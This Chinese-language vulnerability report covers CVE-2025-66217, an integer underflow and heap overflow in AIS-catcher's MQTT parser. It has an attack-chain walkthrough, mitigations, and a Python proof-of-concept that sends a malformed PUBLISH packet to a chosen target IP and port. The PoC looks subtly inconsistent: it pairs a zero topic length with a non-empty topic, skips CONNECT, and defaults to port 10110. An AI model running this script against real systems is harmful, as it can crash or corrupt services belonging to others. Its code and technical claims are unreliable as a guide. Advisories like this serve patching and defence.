IPBUF安全漏洞报告
English
CVE-2025-66217 CVSS 7.5 高危

CVE-2025-66217 AIS-catcher MQTT解析整数下溢漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-66217
漏洞类型
整数下溢,缓冲区溢出,拒绝服务,远程代码执行
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AIS-catcher

相关标签

整数下溢缓冲区溢出MQTTAIS-catcher拒绝服务远程代码执行堆溢出CVE-2025-66217高危漏洞网络攻击

漏洞概述

AIS-catcher是一款多平台AIS(自动识别系统)接收器软件。在0.64版本之前,该软件在MQTT协议解析逻辑中存在严重的整数下溢(Integer Underflow)漏洞。攻击者可以通过发送精心构造的畸形MQTT数据包,利用其中被操纵的Topic Length字段触发整数下溢条件,进而引发大规模的堆缓冲区溢出(Heap Buffer Overflow)。该漏洞无需任何认证或用户交互即可被利用,攻击复杂度低。成功利用此漏洞可导致服务立即崩溃,造成拒绝服务(DoS)攻击;当AIS-catcher被作为库文件使用时,还可能引发严重的内存破坏,从而可能被攻击者利用实现远程代码执行(RCE)。该漏洞已于版本0.64中完成修复,强烈建议所有用户立即升级到最新版本以消除安全风险。

技术细节

该漏洞存在于AIS-catcher的MQTT消息解析模块中,具体位于Topic Length字段的处理逻辑。当解析MQTT数据包时,程序根据Topic Length字段的值分配内存缓冲区,但未对长度值进行充分的边界检查。在特定条件下,当Topic Length字段被设置为极小值或零值时,会触发整数下溢,导致后续的内存分配计算产生负数或极小的正值。这种异常的长度值随后被用于堆内存分配和缓冲区写入操作,由于分配的空间远小于实际写入的数据量,从而产生经典的堆缓冲区溢出。攻击者可以通过发送包含畸形Topic Length字段的MQTT数据包来触发此漏洞。溢出的数据会破坏堆内存结构,可能覆盖相邻的内存区域,包括函数指针、堆元数据等关键结构。在特定利用场景下,攻击者可以通过精心布局堆内存和构造溢出数据来实现代码执行。漏洞的利用难度较低,因为攻击者无需认证即可发送MQTT数据包,且无需目标系统的任何先验信息。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别运行AIS-catcher且暴露MQTT服务端口的目标系统
STEP 2
步骤2
构造攻击载荷:创建包含畸形Topic Length字段(设置为0或极小值)的MQTT PUBLISH数据包
STEP 3
步骤3
触发整数下溢:发送畸形MQTT数据包到目标系统,Topic Length字段值为0导致整数下溢
STEP 4
步骤4
堆缓冲区溢出:下溢的长度值导致分配过小的堆内存,后续大数据写入触发缓冲区溢出
STEP 5
步骤5
内存破坏:溢出的数据破坏堆内存结构,可能覆盖关键内存区域
STEP 6
步骤6
DoS/RCE:服务崩溃(DoS)或在精心构造下实现远程代码执行(RCE)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66217 PoC - AIS-catcher MQTT Integer Underflow This PoC demonstrates the integer underflow vulnerability in AIS-catcher's MQTT parsing logic. """ import socket import struct import sys def create_malformed_mqtt_packet(): """ Create a malformed MQTT packet with manipulated Topic Length field to trigger integer underflow in AIS-catcher. """ # MQTT Fixed Header packet_type = 0x02 # MQTT PUBLISH packet flags = 0x00 remaining_length = 0 # Will be calculated # Variable Header - Topic Name # Manipulated Topic Length field (set to 0 to trigger underflow) topic_length = 0x0000 # Integer underflow trigger topic_name = b"test/topic" # Packet Identifier (optional for QoS 0) packet_id = b"" # Payload - Malformed data payload = b"A" * 1000 # Large payload to cause buffer overflow # Construct variable header variable_header = struct.pack("!H", topic_length) + topic_name + packet_id # Calculate remaining length remaining_length = len(variable_header) + len(payload) # Construct fixed header fixed_header = bytes([(packet_type << 4) | flags]) # Encode remaining length (MQTT variable length encoding) remaining_length_bytes = bytearray() temp = remaining_length while True: digit = temp % 128 temp //= 128 if temp > 0: digit |= 0x80 remaining_length_bytes.append(digit) if temp == 0: break # Full packet packet = fixed_header + bytes(remaining_length_bytes) + variable_header + payload return packet def exploit(target_ip, target_port=10110): """ Send malformed MQTT packet to target AIS-catcher server. """ try: print(f"[*] Creating malformed MQTT packet...") packet = create_malformed_mqtt_packet() print(f"[*] Packet size: {len(packet)} bytes") print(f"[*] Connecting to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious packet...") sock.send(packet) print(f"[+] Packet sent successfully") print(f"[!] Target may have crashed or experienced memory corruption") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 10110 exploit(target, port)

影响范围

AIS-catcher < 0.64

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 通过防火墙或网络访问控制列表限制对MQTT端口的访问,仅允许受信任的IP地址连接;2) 在MQTT服务前部署具备深度包检测(DPI)能力的防火墙或IPS设备,过滤异常的MQTT数据包;3) 监控MQTT服务的异常行为和崩溃日志;4) 考虑使用网络隔离技术将AIS-catcher服务部署在隔离的网络区域;5) 禁用不必要的MQTT功能或限制MQTT服务的暴露范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表